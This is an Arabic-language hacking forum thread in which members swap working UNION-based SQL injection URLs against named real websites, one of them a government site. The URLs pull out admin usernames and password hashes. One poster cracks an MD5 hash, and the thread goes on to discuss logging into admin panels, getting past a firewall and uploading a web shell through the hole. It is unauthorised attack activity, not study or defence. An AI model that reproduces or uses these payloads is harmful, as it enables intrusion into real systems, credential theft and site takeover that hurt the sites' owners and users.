استفسار بسيط لمحترفي الحقن

[mohamedmax]

السلام عليكم يا اخواني هل انا صحيح في اخراج بيانات هذا الموقع او لا يعني الاسم و الباس
http://www.skibbereen.ie/member.php?id=mb477+and+1=0+union+select+1,2,3,con cat%28LastLogin,0x3a,Pass%29,5,6,7,8,9,10+from+ski bbereen_admin_user

[Hidden pain]

السلام عليكم
أخي في حقنك لم تطلي اسم الadmin بل طلبت آخر وقت اتصل فيه
لاحظ فشكل الكتابة يشبه التاريخ و الوقت 0000-00-00 00:00:00 LastLogin
اسم الadmin هنا username
لذلك الحقن هو
http://www.skibbereen.ie/member.php?id=mb477+and+1=0+union+select+1,2,3,con cat%28username,0x3a,Pass%29,5,6,7,8,9,10+from+skib bereen_admin_user
hach crack : password

موفق

[mohamedmax]

نا فككت الهاتش5f4dcc3b5aa765d61d8327deb882cf99 و جاءني password و لكن عند الدخول للوحة التحكم
http://www.skibbereen.ie/admin
الاسم
sadmin
الباس
password لا يدخل ممكن اين الخطا؟

[mohamedmax]

نا فككت الهاتش5f4dcc3b5aa765d61d8327deb882cf99 و جاءني password و لكن عند الدخول للوحة التحكم
http://www.skibbereen.ie/admin
الاسم
sadmin
الباس
password لا يدخل ممكن اين الخطا؟

[The shadow]

جدار ناري

للوحة الأدمن جدار ناري انسو الموقع

او ابحثو عن ادمن سكربت مركب عليه

تحياتي لكم

[Hidden pain]

و الله رائع قسم المشاكل و الإستفسار
كل يوم أستفيد بفكرة جديدة
شكرا الأخ the shadow أفدتنا كثيرا

[mohamedmax]

اه حسنا شكرا لك اخي على المعلومة المفيدة

[ASDELY-ScOrPiOn]

السلام عليكم

الأخ Hidden pain افادك كثيرا / كثر الله خيره
ولكن المشكلة عندك انه انت جربت الدخول الى الجدار الناري ببيانات لوحة التحكم ، وهذا خطأ
بهذه الحاله ، سوف تحتاج بإستغلال الثغره بطريقه ثانيه مثل ، استخراج معلومات السيرفر عن طريق الثغره وبإمكانك ايضا رفع شيل بالثغره

بالتوفيق

[mohamedmax]

شكرا لك لكني مازلت مبتدا على استغلالها لرفع الشل سابحث عن موقع اخر

[mohamedmax]

http://www.saladillo.gov.ar/notas.php?id=1+union+select+1,2,3,4,5,6,concat%28u ser,0x3a,pass%29,8,9,10+from+admin
حتى هذا الموقع مع الاسف استخرجت له بياناته لكن المشكل كالعادة الجدار الناري اتعب دون فائدة